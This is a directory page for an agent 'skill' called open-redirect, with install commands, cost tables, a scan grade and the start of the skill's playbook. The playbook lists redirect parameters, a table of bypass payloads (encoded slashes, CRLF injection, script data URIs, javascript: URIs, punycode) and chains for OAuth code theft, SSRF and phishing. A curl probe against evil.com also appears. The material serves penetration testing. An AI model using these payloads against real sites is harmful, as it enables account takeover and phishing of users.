Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill open-redirectgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/open-redirect)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/open-redirect"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/open-redirect/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/open-redirect"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/open-redirect.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00027 | $0.01156 |
| Opus 5 | $0.00014 | $0.00578 |
| Sonnet 5 | $0.00005 | $0.00231 |
| Haiku 4.5 | $0.00003 | $0.00116 |
Grade A, and why
open-redirect scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -I "$TARGET/redir?next=https://evil.com" | grep -i Location This is a copy
98% identical to open-redirect — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 116 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Open Redirect Playbook
Standalone open redirect = Low/Informational by itself. Chained: critical (OAuth ATO, SSRF, phishing trust transfer).
1. Common parameters
?next=... ?return=... ?continue=... ?redirect=... ?url=... ?to=...
?goto=... ?destination=... ?back=... ?returnTo=... ?callbackUrl=...
?image_url=... ?file=... ?logout_redirect=... ?success=...
Grep recon URLs / JS for these params.
2. Bypass table
| Technique | Payload |
|---|---|
| Direct | https://evil.com |
| Protocol-relative | //evil.com |
| Triple-slash | ///evil.com |
| Backslash | \\evil.com or /\\evil.com |
| Encoded slash | %2f%2fevil.com |
| Mixed encoded | /%5cevil.com |
| Userinfo | https://[email protected] |
| Whitelist confusion | https://target.com.evil.com (subdomain ends w/ allowed) |
| Path-traversal in fragment | target.com/?redirect=evil.com#@target.com |
| Data URI | data:text/html,<script>location='https://evil.com'</script> |
| Javascript URI | javascript:alert(1) (for XSS upgrade) |
| CRLF injection | redirect=evil.com%0d%0aSet-Cookie:... |
| Punycode | https://xn--80ak6aa92e.com (looks like apple.com) |
| Mixed-case scheme | HTTPS://evil.com |
| Whitespace prefix | %09//evil.com, %20//evil.com |
| URL-encoded null | evil.com%00.target.com |
| Multiple slashes | //////evil.com |
3. Chain patterns
3.1 OAuth redirect_uri extension
Target's OAuth flow validates redirect_uri must be on *.target.com.
You have open-redirect at target.com/redir?to=.... Attacker:
redirect_uri=https://target.com/redir?to=https://evil.com/cb
OAuth server allows the literal target.com host; victim browser follows the 302 → evil.com → code in URL.
3.2 SSRF extension
Target's SSRF protection denies external hosts via DNS pinning. But fetches the URL via redirect. Server-side fetcher visits target.com (allowed), follows 302 to internal IP (no DNS re-resolution).
3.3 Phishing
Send phishing email from attacker domain → click → lands on
target.com/login?next=https://evil-attacker.com/fake-login. After
"login" page redirects to attacker — but URL bar shows target.com for
the first second, building trust.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 116 lines · 27 tokens per session scan A 798271c99e4c
open-redirect is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 27 tokens to every session and 1,156 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 98% identical to open-redirect, differing in 2 lines, and is treated as a copy.
Other skills, from other repositories
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../../../red-team/web-enumeration/SKILL.md.
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